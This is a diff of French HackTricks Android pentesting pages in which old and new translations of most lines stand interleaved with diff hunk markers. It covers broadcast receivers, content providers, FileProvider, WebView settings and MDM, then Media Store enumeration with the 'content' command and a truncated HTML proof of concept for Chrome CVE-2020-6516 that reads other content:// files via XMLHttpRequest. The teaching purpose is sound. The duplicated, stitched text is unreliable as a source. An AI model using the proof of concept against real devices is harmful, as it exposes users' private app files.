Les diffusions peuvent être considérées comme un système de messagerie et **les récepteurs de diffusion sont les auditeurs**. Si une application a enregistré un récepteur pour une diffusion spécifique, le code de ce récepteur est exécuté lorsque le système envoie la diffusion. Notez que dans ce cas **plusieurs applications peuvent recevoir le même message**.
Les diffusions peuvent être considérées comme un système de messagerie et **les récepteurs de diffusion sont les auditeurs**. Si une application a enregistré un récepteur pour une diffusion spécifique, le code de ce récepteur est exécuté lorsque le système envoie la diffusion. Notez que dans ce cas, **plusieurs applications peuvent recevoir le même message**.
Il existe **2 manières** pour une application de **enregistrer un récepteur** : dans le **Manifest de l'application ou enregistré dynamiquement** dans le code de l'application en utilisant l'appel API **`registerReceiver`**. Dans le manifeste, vous pouvez limiter les diffusions que vous acceptez grâce à l'**utilisation de permissions dans l'élément récepteur**. Lorsqu'il est défini **dynamiquement**, vous pouvez **passer la permission à la méthode `registerReceiver`**.
Il existe **2 façons** pour une application de **enregistrer un récepteur** : dans le **Manifest de l'application ou enregistré dynamiquement** dans le code de l'application en utilisant l'appel API **`registerReceiver`**. Dans le manifeste, vous pouvez limiter les diffusions que vous acceptez grâce à l'**utilisation des autorisations dans l'élément du récepteur**. Lorsqu'il est **défini dynamiquement**, vous pouvez **transmettre l'autorisation à la méthode `registerReceiver`**.
Dans les deux cas, pour enregistrer le récepteur, les **filtres d'intention pour le récepteur sont définis**. Ces filtres d'intention sont les diffusions qui devraient déclencher le récepteur.
Lorsque les diffusions spécifiques pour lesquelles le récepteur est enregistré sont envoyées, **`onReceive`** dans la classe BroadcastReceiver est **exécuté**.
Une application peut enregistrer un récepteur pour le message de batterie faible par exemple, et changer son comportement en fonction de cette information.
Une application peut enregistrer un récepteur pour le message de batterie faible par exemple, et modifier son comportement en fonction de cette information.
La diffusion peut être **asynchrone** (chaque récepteur la reçoit) ou **synchrone** (la diffusion est reçue de manière ordonnée en fonction de la priorité définie pour la recevoir).
Une diffusion peut être **asynchrone** (chaque récepteur la reçoit) ou **synchrone** (la diffusion est reçue de manière ordonnée en fonction de la priorité définie pour la recevoir).
{% hint style="danger" %}
**Notez que n'importe quelle application peut se définir comme priorité maximale pour recevoir une Diffusion.**
**Notez que toute application peut se définir comme prioritaire pour recevoir une diffusion.**
{% endhint %}
Pour **examiner** le **code** implémenté dans un Récepteur de diffusion, vous devez rechercher la méthode **`onReceive`** de la classe du récepteur.\
Notez que **les Diffusions Ordonnées peuvent abandonner l'Intent reçu ou même le modifier** en utilisant l'une des méthodes setter. Par conséquent, les **récepteurs devraient valider les données**.
Notez que les **Diffusions ordonnées peuvent supprimer l'Intent reçu ou même le modifier** en utilisant l'une des méthodes setter. Par conséquent, les **récepteurs doivent valider les données**.
### Fournisseur de contenu
Les Fournisseurs de contenu sont la manière dont **les applications partagent des données structurées**, telles que des bases de données relationnelles. Par conséquent, il est très important d'utiliser des **permissions** et de définir le niveau de protection approprié pour les protéger.\
Les Fournisseurs de contenu peuvent utiliser les attributs **`readPermission`** et **`writePermission`** pour spécifier quelles permissions une application doit avoir. **Ces permissions prévalent sur l'attribut permission**.\
De plus, ils peuvent également **autoriser des exceptions temporaires** en définissant **`grantUriPermission`** sur vrai, puis en configurant les paramètres appropriés dans l'élément **`grant-uri-permission`** à l'intérieur de l'élément fournisseur dans le fichier manifeste.
Les Fournisseurs de contenu sont la façon dont les **applications partagent des données structurées**, telles que des bases de données relationnelles. Il est donc très important d'utiliser des **autorisations** et de définir le niveau de protection approprié pour les protéger.\
Les Fournisseurs de contenu peuvent utiliser les attributs **`readPermission`** et **`writePermission`** pour spécifier les autorisations qu'une application doit avoir. **Ces autorisations ont la priorité sur l'attribut de permission**.\
De plus, ils peuvent également **autoriser des exceptions temporaires** en définissant le **`grantUriPermission`** sur true, puis en configurant les paramètres appropriés dans l'élément **`grant-uri-permission`** à l'intérieur de l'élément du fournisseur dans le fichier manifeste.
L'attribut **`grant-uri-permission`** a trois attributs : path, pathPrefix et pathPattern :
Le **`grant-uri-permission`** a trois attributs : path, pathPrefix et pathPattern :
* **path** : Permet de spécifier l'intégralité du chemin à exclure
* **path** : Permet de spécifier le chemin complet à exclure
* **pathPrefix** : Permet de spécifier le début du chemin
* **pathPattern** : Permet l'utilisation de jokers et de remplacements symboliques pour un contrôle plus granulaire.
* **pathPattern** : Permet l'utilisation de jokers et de remplacements symboliques pour obtenir un contrôle plus granulaire.
Il est **important de valider et d'assainir les entrées reçues** pour éviter d'éventuelles vulnérabilités comme l'injection SQL.
Il est **important de valider et de nettoyer les entrées reçues** pour éviter les vulnérabilités potentielles telles que les injections SQL.
**Caractéristiques du Fournisseur de contenu :**
**Fonctionnalités du Fournisseur de contenu :**
* Le composant Fournisseur de contenu fournit des données d'une application à d'autres sur demande.
* Vous pouvez stocker les données dans le système de fichiers, une base de données SQLite, sur le web ou tout autre emplacement de stockage persistant auquel votre application peut accéder.
* Grâce au fournisseur de contenu, d'autres applications peuvent interroger ou même modifier les données (si le fournisseur de contenu le permet).
* Vous pouvez stocker les données dans le système de fichiers, une base de données SQLite, sur le web, ou tout autre emplacement de stockage persistant auquel votre application peut accéder.
* À travers le fournisseur de contenu, d'autres applications peuvent interroger ou même modifier les données (si le fournisseur de contenu le permet).
* Le Fournisseur de contenu est utile dans les cas où une application souhaite partager des données avec une autre application.
* Il est très similaire aux bases de données et dispose de quatre méthodes.
* Il est très similaire aux bases de données et comporte quatre méthodes.
* insert()
* update()
* delete()
@ -362,7 +318,7 @@ Il est **important de valider et d'assainir les entrées reçues** pour éviter
**FileProvider**
Il s'agit d'un type de Fournisseur de contenu qui va **partager des fichiers** à partir d'un dossier. Vous pouvez déclarer un fournisseur de fichiers comme ceci :
Il s'agit d'un type de Fournisseur de contenu qui **partage des fichiers** à partir d'un dossier. Vous pouvez déclarer un fournisseur de fichiers de cette manière :
```markup
<provider android:name="androidx.core.content.FileProvider"
android:authorities="com.example.myapp.fileprovider"
@ -373,85 +329,86 @@ android:resource="@xml/filepaths" />
</provider>
```
Notez l'attribut **`android:exported`** car s'il est **`true`**, les applications externes pourront accéder aux dossiers partagés.\
Notez que la configuration `android:resource="@xml/filepaths"` indique que le fichier _res/xml/filepaths.xml_ contient la configuration de **quels dossiers** ce **FileProvider** va **partager**. Voici un exemple de comment indiquer de partager un dossier dans ce fichier :
Remarquez que la configuration `android:resource="@xml/filepaths"` indique que le fichier _res/xml/filepaths.xml_ contient la configuration des **dossiers** que ce **FileProvider** va **partager**. Voici un exemple de comment indiquer le partage d'un dossier dans ce fichier :
```markup
<paths>
<files-path path="images/" name="myimages" />
</paths>
```
Partager quelque chose comme **`path="."`** pourrait être **dangereux** même si le fournisseur n'est pas exporté s'il y a une autre vulnérabilité dans une partie du code qui a tenté d'accéder à ce fournisseur.\
Vous pourriez **accéder** à une **image** dans ce dossier avec `content://com.example.myapp.fileprovider/myimages/default_image.jpg`
Partager quelque chose comme **`path="."`** pourrait être **dangereux** même si le fournisseur n'est pas exporté s'il existe une autre vulnérabilité dans une partie du code qui tente d'accéder à ce fournisseur.\
Vous pourriez **accéder** à une **image** à l'intérieur de ce dossier avec `content://com.example.myapp.fileprovider/myimages/default_image.jpg`
L'élément `<paths>` peut avoir plusieurs enfants, chacun spécifiant un répertoire différent à partager. En plus de l'élément **`<files-path>`**, vous pouvez utiliser l'élément **`<external-path>`** pour partager des répertoires dans le **stockage externe**, et l'élément **`<cache-path>`** pour partager des répertoires dans votre **répertoire de cache interne**.\
[Pour plus d'informations sur les attributs spécifiques des fournisseurs de fichiers, cliquez ici.](https://developer.android.com/reference/androidx/core/content/FileProvider)
L'élément `<paths>` peut avoir plusieurs enfants, chacun spécifiant un répertoire différent à partager. En plus de l'élément **`<files-path>`**, vous pouvez utiliser l'élément **`<external-path>`** pour partager des répertoires dans le **stockage externe**, et l'élément **`<cache-path>`** pour partager des répertoires dans votre **répertoire cache interne**.\
[Pour plus d'informations sur les attributs spécifiques des fournisseurs de fichiers, consultez ce lien.](https://developer.android.com/reference/androidx/core/content/FileProvider)
[Plus d'informations sur les FileProviders ici](https://developer.android.com/training/secure-file-sharing/setup-sharing).
## WebViews
Les WebViews sont essentiellement des **navigateurs web** intégrés dans les applications Android.\
Les WebViews sont en fait des **navigateurs Web** intégrés aux applications Android.\
Le contenu des WebViews peut être extrait de sites distants ou peut être des fichiers inclus dans l'application.\
Les WebViews sont **vulnérables aux mêmes vulnérabilités affectant tout navigateur web**. Cependant, il existe certaines **configurations** qui peuvent être utiles pour **limiter** la **surface d'attaque**.
Les WebViews sont **vulnérables aux mêmes vulnérabilités affectant tous les navigateurs Web**. Cependant, il existe certaines **configurations** qui peuvent être utiles pour **limiter** la **surface d'attaque**.
Il existe deux types de WebViews sous Android :
Il existe deux types de WebViews sur Android :
* Le **WebViewClient**, mieux adapté pour le rendu de HTML simple. Cette fonction ne lancera pas la fonction d'alerte JS. Ainsi, les tests XSS utilisant cette fonction seront invalides.
* Le **WebChrome** **client**, est un navigateur Chrome.
* Le **WebViewClient**, le mieux adapté pour un rendu HTML simple. Cela n'exécutera pas la fonction d'alerte JS. Ainsi, les tests XSS utilisant cette fonction seront invalides.
* Le **client WebChrome**, est un navigateur Chrome.
Notez que les **navigateurs WebView n'ont pas accès aux cookies du navigateur natif**.
Pour charger une URL ou un fichier, il est possible d'utiliser les fonctions **`loadUrl`**, **`loadData`** ou **`loadDataWithBaseURL`**. **Il est important d'accéder uniquement à des URL assainies.**\
La sécurité des WebView peut être configurée via l'objet **`WebSettings`**.\
Par exemple, l'exécution de code JS peut être désactivée en utilisant la méthode **`setJavaScriptEnabled`** avec la valeur **`false`**. Cela **éliminera** la possibilité d'un **XSS** et d'autres vulnérabilités liées à JS.
Pour charger une URL ou un fichier, il est possible d'utiliser les fonctions **`loadUrl`**, **`loadData`** ou **`loadDataWithBaseURL`**. **Il est important d'accéder uniquement à des URL sécurisées.**\
La sécurité des WebViews peut être configurée via l'objet **`WebSettings`**.\
Par exemple, l'exécution du code JS peut être désactivée en utilisant la méthode **`setJavaScriptEnabled`** avec la valeur **`false`**. Cela **éliminera** la possibilité d'une **XSS** et d'autres vulnérabilités liées à JS.
La fonctionnalité "Bridge" JavaScript **injecte des objets Java dans un WebView les rendant accessibles à JS**. À partir d'Android 4.2, les méthodes doivent être annotées avec **`@JavascriptInterface`** pour être accessibles à JavaScript.
La fonctionnalité de JavaScript "**Bridge**" **injecte des objets Java dans un WebView les rendant accessibles à JS**. À partir d'Android 4.2, les méthodes doivent être annotées avec **`@JavascriptInterface`** pour être accessibles à JavaScript.
Si **`true`** est passé à **`setAllowContentAccess`**, **les WebViews pourront accéder aux fournisseurs de contenu** via le schéma **`content://`**. Cela pose évidemment un risque de sécurité. Notez que si cet accès est accordé, il est très important de **s'assurer** que l'URL **`content://`** est **sûre**.
Si **`true`** est passé à **`setAllowContentAccess`**, les **WebViews pourront accéder aux fournisseurs de contenu** via le schéma **`content://`**. Cela pose évidemment un risque pour la sécurité. Notez que si cet accès est accordé, il est très important de **s'assurer** que l'URL **`content://`** est **sûre**.
Par défaut, les fichiers locaux peuvent être accessibles par les WebViews via des URL file://, mais il existe plusieurs moyens de prévenir ce comportement :
Par défaut, les fichiers locaux peuvent être accédés par les WebViews via des URL file://, mais il existe plusieurs façons d'empêcher ce comportement :
* Passer **`false`** à **`setAllowFileAccess`**, empêche l'accès au système de fichiers à l'exception des actifs via `file:///android_asset` _et_ `file:///android_res`. Ces chemins devraient être utilisés uniquement pour des données non sensibles (comme des images), donc cela devrait être sûr.
* La méthode **`setAllowFileAccess`** indique si un chemin d'une URL `file://` devrait pouvoir accéder au contenu d'autres URL de schéma de fichier.
* La méthode **`setAllowUniversalAccessFromFileURLs`** indique si un chemin d'une URL `file://` devrait pouvoir accéder au contenu de n'importe quelle origine.
* En passant **`false`** à **`setAllowFileAccess`**, on empêche l'accès au système de fichiers à l'exception des ressources via `file:///android_asset` _et_ `file:///android_res`. Ces chemins ne doivent être utilisés que pour des données non sensibles (comme des images) donc cela devrait être sûr.
* La méthode **`setAllowFileAccess`** indique si un chemin à partir d'une URL `file://` doit pouvoir accéder au contenu à partir d'autres URL de schéma de fichier.
* La méthode **`setAllowUniversalAccessFromFileURLs`** indique si un chemin à partir d'une URL `file://` doit pouvoir accéder au contenu de n'importe quelle origine.
## Autres composants d'application
## Autres composants de l'application
### **Signature d'application**
### **Signature de l'application**
* Android exige que **toutes les applications soient numériquement signées avec un certificat** avant qu'elles puissent être installées. Android utilise ce certificat pour identifier l'auteur d'une application.
* Pour exécuter l'application sur l'appareil, elle doit être signée. Lorsqu'une application est installée sur un appareil, le **gestionnaire de paquets vérifie** si l'application a été correctement signée avec le certificat dans le fichier apk ou non.
* L'application peut être auto-signée ou signée par une CA.
* La signature d'application garantit qu'une application ne peut pas accéder à une autre application sauf par le biais d'IPC bien défini et aussi qu'elle est transmise sans modification à l'appareil.
* Android exige que **toutes les applications soient signées numériquement avec un certificat** avant de pouvoir être installées. Android utilise ce certificat pour identifier l'auteur d'une application.
* Pour exécuter une application sur l'appareil, elle doit être signée. Lorsqu'une application est installée sur un appareil, le **gestionnaire de packages vérifie** si l'application a été correctement signée avec le certificat dans le fichier apk ou non.
* Une application peut être auto-signée ou signée par une autorité de certification.
* La signature de l'application garantit qu'une application ne peut pas accéder à une autre application sauf par le biais d'IPC bien définis et également qu'elle est transmise non modifiée à l'appareil.
### **Vérification d'application**
### **Vérification de l'application**
* Android 4.2 et les versions ultérieures prennent en charge la vérification des applications. Les utilisateurs peuvent choisir d'activer la vérification des applications "Verify Apps" et faire évaluer les applications par un vérificateur d'applications avant l'installation.
* La vérification des applications peut alerter l'utilisateur s'il essaie d'installer une application qui pourrait être nuisible ; si une application est particulièrement mauvaise, elle peut bloquer l'installation.
* Android 4.2 et ultérieur prennent en charge la vérification des applications. Les utilisateurs peuvent choisir d'activer "Vérifier les applications" et faire évaluer les applications par un vérificateur d'application avant l'installation.
* La vérification de l'application peut alerter l'utilisateur s'il essaie d'installer une application qui pourrait être nuisible ; si une application est particulièrement mauvaise, elle peut bloquer l'installation.
## Gestion des appareils mobiles
MDM ou Mobile Device Management sont des suites logicielles utilisées pour **assurer le contrôle et les exigences de sécurité** sur les appareils mobiles. Ces suites utilisent les fonctionnalités appelées API d'administration de l'appareil et nécessitent qu'une application Android soit installée.
MDM ou Mobile Device Management sont des suites logicielles utilisées pour **garantir un contrôle et des exigences de sécurité** sur les appareils mobiles. Ces suites utilisent les fonctionnalités appelées API d'administration de périphériques et nécessitent l'installation d'une application Android.
Généralement, les solutions MDM effectuent des fonctions telles que l'application de politiques de mot de passe, le forçage du chiffrement du stockage et l'activation de l'effacement à distance des données de l'appareil.
Généralement, les solutions MDM effectuent des fonctions telles que l'application de politiques de mot de passe, le chiffrement forcé du stockage et la possibilité de supprimer à distance les données de l'appareil.
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Trouvez les vulnérabilités qui comptent le plus afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications Web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks) aujourd'hui.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

88
mobile-pentesting/android-app-pentesting/content-protocol.md
View file

@ -1,76 +1,64 @@
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
Pour expérimenter avec les fournisseurs de contenu, on peut utiliser la commande `content` sur les appareils Android. L'accès root n'est pas nécessairement requis. Par exemple, pour voir la liste des fichiers gérés par le Media Store, on peut exécuter la commande suivante :
**Il s'agit d'un résumé de l'article [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
### Listing des fichiers dans le Media Store
Pour répertorier les fichiers gérés par le Media Store, la commande ci-dessous peut être utilisée:
```bash
$ content query --uri content://media/external/file
```
Pour rendre la sortie plus conviviale, on peut limiter les colonnes affichées à l'identifiant et au chemin de chaque fichier indexé.
Pour une sortie plus conviviale, affichez uniquement l'identifiant et le chemin de chaque fichier indexé :
```bash
$ content query --uri content://media/external/file --projection _id,_data
```
Les fournisseurs de médias existent dans leur propre espace de noms privé. Comme illustré dans l'exemple ci-dessus, pour accéder à un fournisseur de contenu, l'URI `content://` correspondant doit être spécifié. Généralement, les informations sur les chemins par lesquels un fournisseur peut être accédé peuvent être récupérées en examinant les manifestes d'application (dans le cas où le fournisseur de contenu est exporté par une application) ou le code source du framework Android.
Les fournisseurs de contenu sont isolés dans leur propre espace de noms privé. L'accès à un fournisseur nécessite l'URI spécifique `content://`. Les informations sur les chemins d'accès à un fournisseur peuvent être obtenues à partir des manifestes d'application ou du code source du framework Android.
Fait intéressant, sur les appareils Android, Chrome prend en charge l'accès aux fournisseurs de contenu via le schéma `content://`. Cette fonctionnalité permet au navigateur d'accéder aux ressources (par exemple, photos, documents, etc.) exportées par des applications tierces. Pour vérifier cela, on peut insérer une entrée personnalisée dans le Media Store, puis y accéder en utilisant le navigateur :
### Accès de Chrome aux fournisseurs de contenu
Chrome sur Android peut accéder aux fournisseurs de contenu via le schéma `content://`, lui permettant d'accéder à des ressources telles que des photos ou des documents exportés par des applications tierces. Pour illustrer cela, un fichier peut être inséré dans le Media Store, puis accédé via Chrome :
Insérer une entrée personnalisée dans le Media Store :
```bash
$ cd /sdcard
$ echo "Hello, world!" > test.txt
$ content insert --uri content://media/external/file \
cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
```
Pour découvrir l'identifiant du fichier nouvellement inséré :
Découvrez l'identifiant du fichier nouvellement inséré :
```bash
$ content query --uri content://media/external/file \
content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
Row: 283 _id=747, _data=/storage/emulated/0/test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
```
Et pour visualiser le fichier dans Chrome, on peut utiliser une URL comme celle montrée dans l'image suivante. Remarquez l'identifiant de fichier 747 (découvert ci-dessus) qui est utilisé comme suffixe dans l'URL.
Le fichier peut ensuite être consulté dans Chrome en utilisant une URL construite avec l'identifiant du fichier.
![Chrome "Bonjour, le monde !"](https://census-labs.com/media/whatsapp-screenshot-hello-world.png)
Par exemple, vous pourriez lister tous les fichiers liés à WhatsApp avec :
Par exemple, pour répertorier les fichiers liés à une application spécifique :
```bash
$ content query --uri content://media/external/file --projection _id,_data | grep -i whatsapp
...
Row: 82 _id=58, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache
Row: 83 _id=705, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/157.240.9.53.443
Row: 84 _id=239, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/crashlogs.whatsapp.net.443
Row: 85 _id=240, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/pps.whatsapp.net.443
Row: 86 _id=90, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/static.whatsapp.net.443
Row: 87 _id=706, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/v.whatsapp.net.443
Row: 88 _id=89, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/www.whatsapp.com.443
...
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
```
## Contournement de la politique de même origine (Same-Origin-Policy) de Chrome CVE-2020-6516 <a href="#cve-2020-6516" id="cve-2020-6516"></a>
### Chrome CVE-2020-6516: Contournement de la politique de même origine
La _Politique de même origine_ (Same Origin Policy - SOP) \[[12](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin\_policy)] dans les navigateurs dicte que le contenu Javascript de l'URL A ne pourra accéder au contenu de l'URL B que si les attributs d'URL suivants restent identiques pour A et B :
La _Politique de même origine_ (SOP) est un protocole de sécurité dans les navigateurs qui restreint les pages web à interagir avec des ressources provenant d'origines différentes, sauf si cela est explicitement autorisé par une politique de partage de ressources entre origines (CORS). Cette politique vise à prévenir les fuites d'informations et les demandes de falsification de requête entre sites. Chrome considère `content://` comme un schéma local, impliquant des règles SOP plus strictes, où chaque URL de schéma local est traitée comme une origine distincte.
* Le protocole, par exemple `https` vs. `http`
* Le domaine, par exemple `www.example1.com` vs. `www.example2.com`
* Le port, par exemple `www.example1.com:8080` vs. `www.example1.com:8443`
Cependant, CVE-2020-6516 était une vulnérabilité dans Chrome qui permettait de contourner les règles SOP pour les ressources chargées via une URL `content://`. En pratique, le code JavaScript d'une URL `content://` pouvait accéder à d'autres ressources chargées via des URL `content://`, ce qui constituait une préoccupation majeure en matière de sécurité, notamment sur les appareils Android exécutant des versions antérieures à Android 10, où le stockage ciblé n'était pas implémenté.
Bien sûr, il existe des exceptions aux règles ci-dessus, mais en général, une ressource de `https://www.example1.com` (par exemple, un code Javascript) ne peut pas accéder au DOM d'une ressource sur `https://www.example2.com`, car cela introduirait de graves fuites d'informations. **À moins qu'une politique de partage de ressources d'origine croisée (Cross-Origin-Resource-Sharing - CORS) n'autorise explicitement cela, il ne devrait pas être possible pour une ressource web de contourner les règles de la SOP.**
La preuve de concept ci-dessous démontre cette vulnérabilité, où un document HTML, après avoir été téléchargé sous **/sdcard** et ajouté au Media Store, utilise `XMLHttpRequest` dans son JavaScript pour accéder et afficher le contenu d'un autre fichier dans le Media Store, contournant les règles SOP.
Il est essentiel de noter que Chrome considère `content://` comme un _schéma local_, tout comme `file://`. Dans ce cas, les règles de la SOP sont encore plus strictes, car chaque URL de schéma local est considérée comme une origine distincte. Par exemple, le code Javascript dans **file:///tmp/test.html** ne devrait pas pouvoir accéder au contenu de **file:///tmp/test2.html**, ni à aucun autre fichier du système de fichiers d'ailleurs. **Par conséquent, selon les règles de la SOP, une ressource chargée via `content://` ne devrait pas pouvoir accéder à une autre ressource `content://`.** Eh bien, la vulnérabilité CVE-2020-6516 de Chrome a créé une "exception" à cette règle.
CVE-2020-6516 \[[03](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6516)] est un contournement de la SOP sur les ressources chargées via une URL `content://`. **Par exemple, le code Javascript, exécuté dans le contexte d'un document HTML chargé depuis `content://com.example.provider/test.html`, peut charger et accéder à toute autre ressource chargée via une URL `content://`.** C'est une vulnérabilité sérieuse, en particulier sur les appareils fonctionnant sous Android 9 ou des versions antérieures d'Android. Sur ces appareils, le stockage limité \[[13](https://developer.android.com/about/versions/10/privacy/changes#scoped-storage)] n'est pas implémenté et, par conséquent, les données spécifiques aux applications sous **/sdcard**, et plus intéressant encore sous **/sdcard/Android**, peuvent être accédées via le fournisseur de contenu Media Store du système.
Un concept de preuve est assez simple. Un document HTML qui utilise `XMLHttpRequest` pour accéder à des URL `content://` arbitraires est téléchargé sous **/sdcard**. Il est ensuite ajouté dans le Media Store et rendu dans Chrome, de manière similaire à l'exemple montré précédemment. À des fins de démonstration, on peut tenter de charger `content://media/external/file/747` qui est, en fait, l'URL Media Store de l'exemple "Hello, world!". Étonnamment, le code Javascript, exécuté dans l'origine du document HTML, récupérera et affichera le contenu de **test.txt**.
```markup
Preuve de concept HTML:
```xml
<html>
<head>
<title>PoC</title>
@ -98,18 +86,16 @@ xhr.send();
<body onload="poc()"></body>
</html>
```
**Informations extraites de cet article :** [**https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/**](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> !</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
D'autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
